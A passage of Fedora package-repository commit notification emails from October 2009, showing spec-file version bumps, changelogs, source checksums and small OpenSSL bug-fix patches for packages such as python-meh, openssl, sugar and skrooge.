Subject: rpms/python-meh/F-12 .cvsignore, 1.6, 1.7 python-meh.spec, 1.5,
	1.6 sources, 1.6, 1.7
Message-ID: <20091008185502.7B89611C00DB@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/python-meh/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2742

Modified Files:
	.cvsignore python-meh.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-meh/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	29 Sep 2009 18:28:54 -0000	1.6
+++ .cvsignore	8 Oct 2009 18:55:02 -0000	1.7
@@ -3,3 +3,4 @@ python-meh-0.2.tar.gz
 python-meh-0.3.tar.gz
 python-meh-0.4.tar.gz
 python-meh-0.5.tar.gz
+python-meh-0.6.tar.gz


Index: python-meh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-meh/F-12/python-meh.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- python-meh.spec	29 Sep 2009 18:28:54 -0000	1.5
+++ python-meh.spec	8 Oct 2009 18:55:02 -0000	1.6
@@ -3,7 +3,7 @@
 Summary:  A python library for handling exceptions
 Name: python-meh
 Url: http://git.fedoraproject.org/git/?p=python-meh.git
-Version: 0.5
+Version: 0.6
 Release: 1%{?dist}
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -46,6 +46,11 @@ rm -rf %{buildroot}
 %{_datadir}/python-meh
 
 %changelog
+* Thu Oct 08 2009 Chris Lumens <clumens at redhat.com> - 0.6-1
+- Make idSkipList work again.
+- Support dumping objects derived from Python's object.
+- Use the right method to set text on a snack.Entry (#526884).
+
 * Tue Sep 29 2009 Chris Lumens <clumens at redhat.com> - 0.5-1
 - Always compare version numbers as strings (#526188).
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-meh/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	29 Sep 2009 18:28:54 -0000	1.6
+++ sources	8 Oct 2009 18:55:02 -0000	1.7
@@ -1 +1 @@
-f5ea8244a49657e770f23675e2997888  python-meh-0.5.tar.gz
+635809514ac669fd10fd3ddf1591332d  python-meh-0.6.tar.gz



From jderose at fedoraproject.org  Thu Oct  8 18:57:09 2009
From: jderose at fedoraproject.org (Jason DeRose)
Date: Thu,  8 Oct 2009 18:57:09 +0000 (UTC)
Subject: rpms/python-assets/F-12 .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 python-assets.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091008185709.6614211C00DB@cvs1.fedora.phx.redhat.com>

Author: jderose

Update of /cvs/pkgs/rpms/python-assets/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3226/F-12

Modified Files:
	.cvsignore import.log python-assets.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2009 17:49:47 -0000	1.2
+++ .cvsignore	8 Oct 2009 18:57:07 -0000	1.3
@@ -1 +1 @@
-assets-0.1.0.tar.gz
+assets-0.1.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	25 Sep 2009 17:49:47 -0000	1.1
+++ import.log	8 Oct 2009 18:57:07 -0000	1.2
@@ -1 +1,2 @@
 python-assets-0_1_0-1_fc11:F-12:python-assets-0.1.0-1.fc11.src.rpm:1253900871
+python-assets-0_1_1-1_fc11:F-12:python-assets-0.1.1-1.fc11.src.rpm:1255028198


Index: python-assets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/F-12/python-assets.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-assets.spec	25 Sep 2009 17:49:47 -0000	1.1
+++ python-assets.spec	8 Oct 2009 18:57:07 -0000	1.2
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-assets
-Version:        0.1.0
+Version:        0.1.1
 Release:        1%{?dist}
 Summary:        Cache-friendly asset management via content-hash-naming
 
@@ -44,5 +44,8 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/assets-%{version}-py2.6.egg-info
 
 %changelog
+* Tue Sep 29 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-1
+- New release
+
 * Tue Sep 22 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.0-1
 - Initial package


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 17:49:47 -0000	1.2
+++ sources	8 Oct 2009 18:57:07 -0000	1.3
@@ -1 +1 @@
-fbb3736161c8239d187aeb52262bddea  assets-0.1.0.tar.gz
+bd0d5d45cfffb541655ca9dc8657e19f  assets-0.1.1.tar.gz



From tmraz at fedoraproject.org  Thu Oct  8 19:01:44 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Thu,  8 Oct 2009 19:01:44 +0000 (UTC)
Subject: rpms/openssl/F-12 openssl-1.0.0-beta3-dtls1-fix.patch, NONE,
	1.1 openssl-1.0.0-beta3-ssl-session.patch, NONE,
	1.1 openssl.spec, 1.142, 1.143
Message-ID: <20091008190144.6234A11C00DB@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/openssl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5249

Modified Files:
	openssl.spec 
Added Files:
	openssl-1.0.0-beta3-dtls1-fix.patch 
	openssl-1.0.0-beta3-ssl-session.patch 
Log Message:
* Thu Oct  8 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.9.beta3
- fix typo in DTLS1 code (#527015)
- fix leak in error handling of d2i_SSL_SESSION()


openssl-1.0.0-beta3-dtls1-fix.patch:
 d1_clnt.c |    2 ++
 d1_pkt.c  |    2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE openssl-1.0.0-beta3-dtls1-fix.patch ---
Index: openssl/ssl/d1_clnt.c
RCS File: /v/openssl/cvs/openssl/ssl/d1_clnt.c,v
rcsdiff -q -kk '-r1.16.2.10' '-r1.16.2.11' -u '/v/openssl/cvs/openssl/ssl/d1_clnt.c,v' 2>/dev/null
--- openssl/ssl/d1_clnt.c 2009/07/15 11:32:57 1.16.2.10
+++ openssl/ssl/d1_clnt.c 2009/07/24 11:52:32 1.16.2.11
@@ -223,6 +223,8 @@
 			s->init_num=0;
 			/* mark client_random uninitialized */
 			memset(s->s3->client_random,0,sizeof(s->s3->client_random));
+			s->d1->send_cookie = 0;
+			s->hit = 0;
 			break;
 
 		case SSL3_ST_CW_CLNT_HELLO_A:
Index: openssl/ssl/d1_pkt.c
RCS File: /v/openssl/cvs/openssl/ssl/d1_pkt.c,v
rcsdiff -q -kk '-r1.27.2.13' '-r1.27.2.14' -u '/v/openssl/cvs/openssl/ssl/d1_pkt.c,v' 2>/dev/null
--- openssl/ssl/d1_pkt.c 2009/07/13 11:44:04 1.27.2.13
+++ openssl/ssl/d1_pkt.c 2009/07/24 11:52:32 1.27.2.14
@@ -775,7 +775,7 @@
 	/* Check for timeout */
 	if (dtls1_is_timer_expired(s))
 		{
-		if (dtls1_read_failed(s, -1) > 0);
+		if (dtls1_read_failed(s, -1) > 0)
 			goto start;
 		}
 

openssl-1.0.0-beta3-ssl-session.patch:
 ssl_asn1.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE openssl-1.0.0-beta3-ssl-session.patch ---
Index: openssl/ssl/ssl_asn1.c
RCS File: /v/openssl/cvs/openssl/ssl/ssl_asn1.c,v
rcsdiff -q -kk '-r1.36.2.2' '-r1.36.2.3' -u '/v/openssl/cvs/openssl/ssl/ssl_asn1.c,v' 2>/dev/null
--- openssl/ssl/ssl_asn1.c 2009/08/05 15:29:14 1.36.2.2
+++ openssl/ssl/ssl_asn1.c 2009/09/02 13:20:22 1.36.2.3
@@ -413,8 +413,8 @@
 		}
 	else
 		{
-		SSLerr(SSL_F_D2I_SSL_SESSION,SSL_R_UNKNOWN_SSL_VERSION);
-		return(NULL);
+		c.error=SSL_R_UNKNOWN_SSL_VERSION;
+		goto err;
 		}
 	
 	ret->cipher=NULL;
@@ -505,8 +505,8 @@
 	    {
 	    if (os.length > SSL_MAX_SID_CTX_LENGTH)
 		{
-		ret->sid_ctx_length=os.length;
-		SSLerr(SSL_F_D2I_SSL_SESSION,SSL_R_BAD_LENGTH);
+		c.error=SSL_R_BAD_LENGTH;
+		goto err;
 		}
 	    else
 		{


Index: openssl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssl/F-12/openssl.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- openssl.spec	30 Sep 2009 18:34:35 -0000	1.142
+++ openssl.spec	8 Oct 2009 19:01:43 -0000	1.143
@@ -23,7 +23,7 @@
 Summary: A general purpose cryptography library with TLS implementation
 Name: openssl
 Version: 1.0.0
-Release: 0.8.%{beta}%{?dist}
+Release: 0.9.%{beta}%{?dist}
 # We remove certain patented algorithms from the openssl source tarball
 # with the hobble-openssl script which is included below.
 Source: openssl-%{version}-%{beta}-usa.tar.bz2
@@ -67,6 +67,8 @@ Patch52: openssl-1.0.0-beta3-dss1.patch
 Patch60: openssl-1.0.0-beta3-namingstr.patch
 Patch61: openssl-1.0.0-beta3-namingblk.patch
 Patch62: openssl-1.0.0-beta3-camellia-rounds.patch
+Patch63: openssl-1.0.0-beta3-dtls1-fix.patch
+Patch64: openssl-1.0.0-beta3-ssl-session.patch
 
 License: OpenSSL
 Group: System Environment/Libraries
@@ -151,6 +153,8 @@ from other formats to the formats used b
 %patch60 -p1 -b .namingstr
 %patch61 -p1 -b .namingblk
 %patch62 -p1 -b .cmll-rounds
+%patch63 -p1 -b .dtls1-fix
+%patch64 -p1 -b .ssl-session
 
 # Modify the various perl scripts to reference perl in the right location.
 perl util/perlpath.pl `dirname %{__perl}`
@@ -399,6 +403,10 @@ rm -rf $RPM_BUILD_ROOT/%{_libdir}/fipsca
 %postun -p /sbin/ldconfig
 
 %changelog
+* Thu Oct  8 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.9.beta3
+- fix typo in DTLS1 code (#527015)
+- fix leak in error handling of d2i_SSL_SESSION()
+
 * Wed Sep 30 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.8.beta3
 - fix RSA and DSA FIPS selftests
 - reenable fixed x86_64 camellia assembler code (#521127)



From erikos at fedoraproject.org  Thu Oct  8 19:04:54 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  8 Oct 2009 19:04:54 +0000 (UTC)
Subject: rpms/sugar/F-12 .cvsignore, 1.47, 1.48 sources, 1.49,
	1.50 sugar.spec, 1.77, 1.78
Message-ID: <20091008190454.6D5F411C00DB@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6597

Modified Files:
	.cvsignore sources sugar.spec 
Log Message:
* Thu Oct 08 2009 Simon Schampijer <simon at schampijer.de> - 0.86.2-1
- Not able to make screenshot #1464
- debug logs for the presence service and connection managers not 
working #927
- Not able to stop activities #1444




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	1 Oct 2009 21:25:07 -0000	1.47
+++ .cvsignore	8 Oct 2009 19:04:53 -0000	1.48
@@ -1 +1 @@
-sugar-0.86.1.tar.bz2
+sugar-0.86.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sources,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- sources	1 Oct 2009 21:25:07 -0000	1.49
+++ sources	8 Oct 2009 19:04:53 -0000	1.50
@@ -1 +1 @@
-ea12fcfd69bea47eee0c4e9256587f5e  sugar-0.86.1.tar.bz2
+40868c672d5321250e151ebd80c68a99  sugar-0.86.2.tar.bz2


Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sugar.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- sugar.spec	1 Oct 2009 21:59:20 -0000	1.77
+++ sugar.spec	8 Oct 2009 19:04:53 -0000	1.78
@@ -5,8 +5,8 @@
 
 Summary: Constructionist learning platform
 Name: sugar
-Version: 0.86.1
-Release: 3%{?dist}
+Version: 0.86.2
+Release: 1%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
 # git clone git://dev.laptop.org/sugar
@@ -144,6 +144,12 @@ rm -rf %{buildroot}
 %{_datadir}/icons/hicolor/scalable/apps/sugar-xo.svg
 
 %changelog
+* Thu Oct 08 2009 Simon Schampijer <simon at schampijer.de> - 0.86.2-1
+- Not able to make screenshot #1464
+- debug logs for the presence service and connection managers not 
+working #927
+- Not able to stop activities #1444
+
 * Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-3
 - typo
 



From jderose at fedoraproject.org  Thu Oct  8 19:08:23 2009
From: jderose at fedoraproject.org (Jason DeRose)
Date: Thu,  8 Oct 2009 19:08:23 +0000 (UTC)
Subject: rpms/python-wehjit/devel .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 python-wehjit.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091008190823.A83A811C00DB@cvs1.fedora.phx.redhat.com>

Author: jderose

Update of /cvs/pkgs/rpms/python-wehjit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8033/devel

Modified Files:
	.cvsignore import.log python-wehjit.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-wehjit/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2009 19:10:08 -0000	1.2
+++ .cvsignore	8 Oct 2009 19:08:23 -0000	1.3
@@ -1 +1 @@
-wehjit-0.1.0.tar.gz
+wehjit-0.1.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-wehjit/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	25 Sep 2009 19:10:08 -0000	1.1
+++ import.log	8 Oct 2009 19:08:23 -0000	1.2
@@ -1 +1,2 @@
 python-wehjit-0_1_0-1_fc11:HEAD:python-wehjit-0.1.0-1.fc11.src.rpm:1253905694
+python-wehjit-0_1_1-1_fc11:HEAD:python-wehjit-0.1.1-1.fc11.src.rpm:1255028766


Index: python-wehjit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-wehjit/devel/python-wehjit.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-wehjit.spec	25 Sep 2009 19:10:08 -0000	1.1
+++ python-wehjit.spec	8 Oct 2009 19:08:23 -0000	1.2
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-wehjit
-Version:        0.1.0
+Version:        0.1.1
 Release:        1%{?dist}
 Summary:        A Python web-widget library
 
@@ -45,5 +45,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/wehjit-demo
 
 %changelog
+* Tue Sep 29 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-1
+- New release
+
 * Tue Sep 22 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.0-1
 - Initial package


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-wehjit/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 19:10:08 -0000	1.2
+++ sources	8 Oct 2009 19:08:23 -0000	1.3
@@ -1 +1 @@
-2a2391ab302610723eb6c9f91e2e1469  wehjit-0.1.0.tar.gz
+197472326b7d68670e52c9301eccbafd  wehjit-0.1.1.tar.gz



From rdieter at fedoraproject.org  Thu Oct  8 19:26:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 19:26:19 +0000 (UTC)
Subject: rpms/kdeaccessibility/F-12 .cvsignore, 1.47,
	1.48 kdeaccessibility.spec, 1.91, 1.92 sources, 1.47, 1.48
Message-ID: <20091008192619.4225E11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeaccessibility/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14536

Modified Files:
	.cvsignore kdeaccessibility.spec sources 
Log Message:
* Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
- 4.3.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdeaccessibility/F-12/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	1 Sep 2009 12:40:50 -0000	1.47
+++ .cvsignore	8 Oct 2009 19:26:19 -0000	1.48
@@ -1 +1,2 @@
 kdeaccessibility-4.3.1.tar.bz2
+kdeaccessibility-4.3.2.tar.bz2


Index: kdeaccessibility.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeaccessibility/F-12/kdeaccessibility.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- kdeaccessibility.spec	28 Aug 2009 12:32:22 -0000	1.91
+++ kdeaccessibility.spec	8 Oct 2009 19:26:19 -0000	1.92
@@ -1,7 +1,7 @@
 Summary:        K Desktop Environment - Accessibility
 Name:           kdeaccessibility
 Epoch:          1
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -143,6 +143,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdeaccessibility/F-12/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	28 Aug 2009 12:32:22 -0000	1.47
+++ sources	8 Oct 2009 19:26:19 -0000	1.48
@@ -1 +1 @@
-82f2175329c87b84a25be586b69d6b25  kdeaccessibility-4.3.1.tar.bz2
+52ab06324f1d47ce5d14638e74b206ed  kdeaccessibility-4.3.2.tar.bz2



From renep at fedoraproject.org  Thu Oct  8 19:28:26 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Thu,  8 Oct 2009 19:28:26 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, 1.4, 1.5 tcl-mysqltcl.spec, 1.4,
	1.5
Message-ID: <20091008192826.837CB11C00DB@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15527/devel

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
sync spec file versions


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	7 Oct 2009 02:37:34 -0000	1.4
+++ import.log	8 Oct 2009 19:28:26 -0000	1.5
@@ -2,3 +2,4 @@ tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254880027
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
+tcl-mysqltcl-3_05-6_fc11:HEAD:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255030083


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/tcl-mysqltcl.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- tcl-mysqltcl.spec	7 Oct 2009 02:37:34 -0000	1.4
+++ tcl-mysqltcl.spec	8 Oct 2009 19:28:26 -0000	1.5
@@ -18,7 +18,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        5%{?dist}
+Release:        6%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
+- synchronize the spec file version for all branches
+
 * Wed Oct 07 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-5
 - Fix build on EL-4
 



From thomasj at fedoraproject.org  Thu Oct  8 19:40:57 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu,  8 Oct 2009 19:40:57 +0000 (UTC)
Subject: rpms/skrooge/devel sources,1.3,1.4
Message-ID: <20091008194057.A1A7C11C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18522

Modified Files:
	sources 
Log Message:
* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
- Changed to final 0.5.2 version
- Bugfixes, including a nasty bug where one thinks the data is gone
- added HTML documentation
- added localizations



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 18:46:37 -0000	1.3
+++ sources	8 Oct 2009 19:40:57 -0000	1.4
@@ -1 +1 @@
-25eb4a6c4ee4a7ac367b06aadab1be70  skrooge-0.5.2.tar.gz
+52887f432cea1fa9d611af971c1048b7  skrooge-0.5.2.tar.gz



From rdieter at fedoraproject.org  Thu Oct  8 19:43:46 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 19:43:46 +0000 (UTC)
Subject: rpms/kdenetwork/F-10 kdenetwork-4.3.0-fix-bonjour.patch,1.1,NONE
Message-ID: <20091008194346.7351F11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdenetwork/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19639/F-10

Removed Files:
	kdenetwork-4.3.0-fix-bonjour.patch 
Log Message:
drop deprecated patch



--- kdenetwork-4.3.0-fix-bonjour.patch DELETED ---



From rdieter at fedoraproject.org  Thu Oct  8 19:43:46 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 19:43:46 +0000 (UTC)
Subject: rpms/kdenetwork/F-11 kdenetwork-4.3.0-fix-bonjour.patch,1.1,NONE
Message-ID: <20091008194346.EF2E611C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdenetwork/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19639/F-11

Removed Files:
	kdenetwork-4.3.0-fix-bonjour.patch 
Log Message:
drop deprecated patch



--- kdenetwork-4.3.0-fix-bonjour.patch DELETED ---



From rdieter at fedoraproject.org  Thu Oct  8 19:43:48 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 19:43:48 +0000 (UTC)
Subject: rpms/kdenetwork/F-12 kdenetwork-4.3.0-fix-bonjour.patch,1.1,NONE
Message-ID: <20091008194348.2485511C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdenetwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19639/F-12

Removed Files:
	kdenetwork-4.3.0-fix-bonjour.patch 
Log Message:
drop deprecated patch



--- kdenetwork-4.3.0-fix-bonjour.patch DELETED ---



From thomasj at fedoraproject.org  Thu Oct  8 19:48:54 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu,  8 Oct 2009 19:48:54 +0000 (UTC)
Subject: rpms/skrooge/devel skrooge.spec,1.4,1.5
Message-ID: <20091008194855.0180D11C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20767

Modified Files:
	skrooge.spec 
Log Message:
* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
- Changed to final 0.5.2 version
- Bugfixes, including a nasty bug where one thinks the data is gone
- added HTML documentation
- added localizations



Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/devel/skrooge.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- skrooge.spec	22 Sep 2009 18:46:37 -0000	1.4
+++ skrooge.spec	8 Oct 2009 19:48:54 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        0.1.beta%{?dist}
+Release:        1%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -33,7 +33,6 @@ Summary:        Skrooge libraries
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
 Requires:       kdelibs4%{?_isa} >= %{kde4_version}
-Requires:       libofx
 
 %description libs
 Skrooge libraries
@@ -41,6 +40,9 @@ Skrooge libraries
 %prep
 %setup -q
 
+## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
+chmod -x skrooge_search/skgalarmboardwidget.h
+
 %build
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -53,6 +55,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
+%find_lang %{name}
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -97,12 +100,15 @@ update-desktop-database -q &> /dev/null
 update-mime-database %{_kde4_datadir}/mime &> /dev/null
 
 
-%files 
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS CHANGELOG COPYING README TODO 
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
+%{_kde4_docdir}/HTML/en/doc/*
+%{_kde4_docdir}/HTML/sv/%{name}/*
+%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
 %{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
 %{_kde4_appsdir}/skrooge/images/*/*
@@ -123,6 +129,12 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_libdir}/*.so*
 
 %changelog
+* Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
+- Changed to final 0.5.2 version
+- Bugfixes, including a nasty bug where one thinks the data is gone
+- added HTML documentation
+- added localizations
+
 * Tue Sep 22 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-0.1.beta
 - Changed to new upstream Version 0.5.2_beta (lots of bugfixes)
 



From dwalsh at fedoraproject.org  Thu Oct  8 19:51:55 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  8 Oct 2009 19:51:55 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.102,
	1.103 selinux-policy.spec, 1.939, 1.940
Message-ID: <20091008195155.725DF11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21656

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Wed Oct 8 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-23
- Allow xdm to unlink xauth_home_t


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
